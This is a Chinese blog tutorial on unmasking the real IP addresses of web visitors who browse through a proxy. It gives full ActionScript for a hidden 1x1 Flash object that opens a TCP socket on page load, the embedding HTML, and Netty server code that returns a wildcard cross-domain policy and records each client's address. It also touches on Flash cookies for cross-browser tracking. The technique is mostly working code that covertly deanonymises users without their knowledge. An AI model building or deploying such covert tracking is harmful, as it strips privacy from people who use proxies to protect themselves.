利用Flash绕过浏览器代理获取真实IP

虽然有人说Flash已死,但研究一下,也未尝不可。

利用Flash绕过浏览器代理获取真实IP,主要原理就是,当flash文件加载完成时,可以发起TCP连接,而这个连接是不会经过浏览器代理的,因此可以获得用户真实IP。

[b]首先制作flash。[/b]
创建一个flash项目并创建默认的fla文件:

[img]http://dl2.iteye.com/upload/attachment/0115/2636/8fcd3771-b8f0-3971-9d4a-44b163708330.png[/img]

把trueip.fla关联到trueip.as文件。这样在trueip.fla生成的swf文件被浏览器加载时,就会执行trueip.as的默认构造函数:


[img]http://dl2.iteye.com/upload/attachment/0115/2638/6d43ac1c-5660-3a4e-8bba-ba2f340bec3e.png[/img]

trueip.as代码如下:
package  {

import flash.display.*;
import flash.events.*;
import flash.external.*;
import flash.net.*;
import flash.system.*;
import flash.text.*;


public class trueip extends Sprite {

private var socketPort:Number = 9080;
private var socketServer:String = "10.77.32.10";
private var socket:XMLSocket;

public function trueip() {
Security.allowDomain("*");
Security.allowInsecureDomain("*");
this.loaderInfo.addEventListener(Event.COMPLETE, this.loadComplete);
return;
}


private function loadComplete(event:Event) : void
{
this.socket = new XMLSocket();
this.socket.connect(this.socketServer, this.socketPort);
return;
}

}

}


代码很简单,就是在构造函数执行完毕后,发起socket连接。
当socket连接建立后,还可以发送数据与服务端交互。这里我省略了。

最后调试,调试没问题后就可以发布了,最终生成trueip.swf文件,并在网页中加载:


[img]http://dl2.iteye.com/upload/attachment/0115/2640/30fe9cc0-9fc4-3583-bb8c-6c51a965ae7d.png[/img]

在网页中引用swf文件:

[align=middle]
<param name="allowScriptAccess" value="always" />
<param name="movie" value="trueip.swf">
<param name="quality" value="high">
<param name="wmode" value="transparent" />
<embed src="trueip.swf" name="trueip" quality="high" allowScriptAccess="always" swLiveConnect="true" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="1" height="1"></embed>
</object>
[/align]



[b]TCP服务端[/b]

选用netty实现。

要注意两点:

1.flash XMLSocket的报文格式
Each XML message is a complete XML document, terminated by a zero (0) byte.
可见,每个报文是以“\0”结束,因此非常适合使用netty的DelimiterBasedFrameDecoder来解码。

2.flash加载时,会向端口发起连接,并发送一个字符串,内容为 "<policy-file-request/>",并等待返回安全策略文件并分析。
此时TCP服务端可以简单地返回:
"<cross-domain-policy><allow-access-from domain=\"*\" to-ports=\"*\" /></cross-domain-policy>"

下面看看netty server怎么处理:

首先是报文的解析:

public class MyChannelPipelineFactory implements ChannelPipelineFactory {

private static final String FLASH_XML_SOCKET_END = "\0";

@Override
public ChannelPipeline getPipeline() throws Exception {
return Channels.pipeline(
new MyDelimiterBasedFrameDecoder(8192, true, lineDelimiter()),
new FlashMessageHandler()
);
}

public static ChannelBuffer[] lineDelimiter() {
return new ChannelBuffer[] {
ChannelBuffers.wrappedBuffer(FLASH_XML_SOCKET_END.getBytes()),
};
}

如果不记录原始报文的话,则直接使用netty提供的DelimiterBasedFrameDecoder就可以了。
我这里为了记录原始报文,扩展了DelimiterBasedFrameDecoder:
	
/**
* 在解码之前打印收到的消息
* @author ljn
*
*/
public class MyDelimiterBasedFrameDecoder extends DelimiterBasedFrameDecoder{


private static final Logger logger = LoggerFactory.getLogger(MyDelimiterBasedFrameDecoder.class);

public MyDelimiterBasedFrameDecoder(int maxFrameLength, boolean stripDelimiter, ChannelBuffer delimiter) {
super(maxFrameLength, stripDelimiter, delimiter);
}

public MyDelimiterBasedFrameDecoder(int maxFrameLength, boolean stripDelimiter, ChannelBuffer... lineDelimiter) {
super(maxFrameLength, stripDelimiter, lineDelimiter);
}

@Override
public void messageReceived(ChannelHandlerContext ctx, MessageEvent e) throws Exception {
ChannelBuffer buffer = (ChannelBuffer) e.getMessage();
logger.info("receive msg={}", buffer.toString(CharsetUtil.UTF_8));
super.messageReceived(ctx, e);
}

}


报文解码后,针对不同的报文做不同处理:
如果是安全策略请求的,则返回策略文件;
如果是正常的数据交互,则可以获取用户端IP(数据处理略去)

public class FlashMessageHandler extends SimpleChannelHandler {

public static final Logger logger = LoggerFactory.getLogger(FlashMessageHandler.class);

//flash安全策略请求
private static final String POLICY_FILE_REQUEST = "<policy-file-request/>";
private static String resp = "<cross-domain-policy><allow-access-from domain=\"*\" to-ports=\"*\" /></cross-domain-policy>";

@Override
public void messageReceived(ChannelHandlerContext ctx, MessageEvent e) {

//唯一标识一次请求
final String id = "DFS" + UUID.randomUUID().toString().replace("-", "");

ChannelBuffer buff = (ChannelBuffer)e.getMessage();
String msg = (String)buff.toString(CharsetUtil.UTF_8);

logger.info("msg={}, id={}", msg, id);

if (POLICY_FILE_REQUEST.equals(msg)) {
byte[] bytes = resp.getBytes(CharsetUtil.UTF_8);
ChannelBuffer buffer = ChannelBuffers.buffer(bytes.length);
buffer.writeBytes(bytes);
ChannelFuture future = ctx.getChannel().write(buffer);
future.addListener(new ChannelFutureListener() {
public void operationComplete(ChannelFuture future) {
logger.info("success to write {} response. id={}", POLICY_FILE_REQUEST, id);
Channel ch = future.getChannel();
ch.close();
}
});
} else {

String ip = null;
InetSocketAddress inetSocketAddress = null;
SocketAddress remoteAddress = ctx.getChannel().getRemoteAddress();
if (remoteAddress instanceof InetSocketAddress) {
inetSocketAddress = (InetSocketAddress)remoteAddress;
if (inetSocketAddress != null && inetSocketAddress.getAddress() != null) {
ip = inetSocketAddress.getAddress().getHostAddress();
}
}

//拿到IP之后可以保存起来作进一步的使用...
//...

}
}


}


这样,就可以拿到用户的真实IP了。

此外,flash理论上还可以实现跨浏览器的cookie共享。原理就是不同浏览器的flash读写cookie时,都是同一位置的同一cookie文件中。但由于flash对安全问题的考虑也越来越全面,想利用flash实现跨浏览器的共享,基本是不靠谱了。据我的测试,跨浏览器的共享cookie,很不稳定,有时可以,有时不行。

关于flash cookie的问题,可以参考网上的这篇文章:
[url]http://ylq365.iteye.com/blog/1873382[/url]
展开阅读全文

没有更多推荐了,返回首页